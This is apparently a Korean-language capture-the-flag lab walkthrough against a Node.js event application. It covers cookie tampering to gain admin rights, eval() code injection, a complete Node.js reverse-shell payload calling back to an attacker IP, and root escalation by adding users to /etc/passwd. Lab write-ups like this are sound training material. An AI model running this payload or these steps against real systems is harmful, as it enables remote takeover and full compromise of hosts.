1.Information Gathering

: Port Scan

 

 

:mongodb

> 별것 없음

 

 

: Web Enum

 

 

 

: port 3000 node.js

 

> port 3000은 일종의 이벤트 시스템

 

 

: Register가 가능한데

 

쿠키를 보면

 
userLevel이 설정되어 있고
디코딩 해보면

default 유저로 설정되어 있다.

 

 

로그인 후 새로운 이벤트 로그를 생성해 보면

admin 사용자만 이벤트 로그 생성이 가능하다.

 

 

 

 

 

2. Exploitation

: 두 가지 시도

(1) 쿠키 값을 관리자(admin)로 변경해 이벤트 로그를 등록해 보면

 

 

> 정상적으로 권한 변조가 가능하여

이벤트가 등록된다.

 

 

 

쿠키를 변조해 회원 가입을

admin 권한으로 시도해 보았지만

쿠키 기본 값이 default라 의미 없고

버프 replace 기능을 세팅해

상시 admin 권한으로 페이지를 사용하도록 세팅

 

정상 반영되었다.

 

 

(2) node.js

전제 : 해당 애플리케이션은 node.js로 만들어졌고

javascript 코드 실행이 가능할 수 있다.

 

실험 1) 간단한 수식 입력 후 반환 결과 확인

 

이벤트 로그를 확인해 보면

문자열이 그대로 저장되지 않고

nodeJS의 특정 함수(eval())로 인식해

계산된 결과가 저장된다.

 

 

실험 2) 기본 함수 입력 후 반환 결과 확인

코드가 정상 실행된다.

 

 

실험 3) reverse shell 실행

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(27017, "192.168.49.125", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();
 

 

침투 성공!

 

 

 

3. Privilege Escalation

 

cp 명령어 사용이 가능!

 

암호 생성 후 passwd 파일에

새 유저를 넣어주면 된다.

 

암호 생성 방법은

파이썬 또는 openssl로 생성 가능

둘 다 비번은 taku

 

 

연습을 위해 위 두 암호 모두 사용해

새로운 root 사용자 둘을 생성

 

 

/etc/passwd 파일로 변경해 주고

로그인을 시도하면

 

 

둘 다 루트로 권한상승 가능!

 

 

728x90

+ Recent posts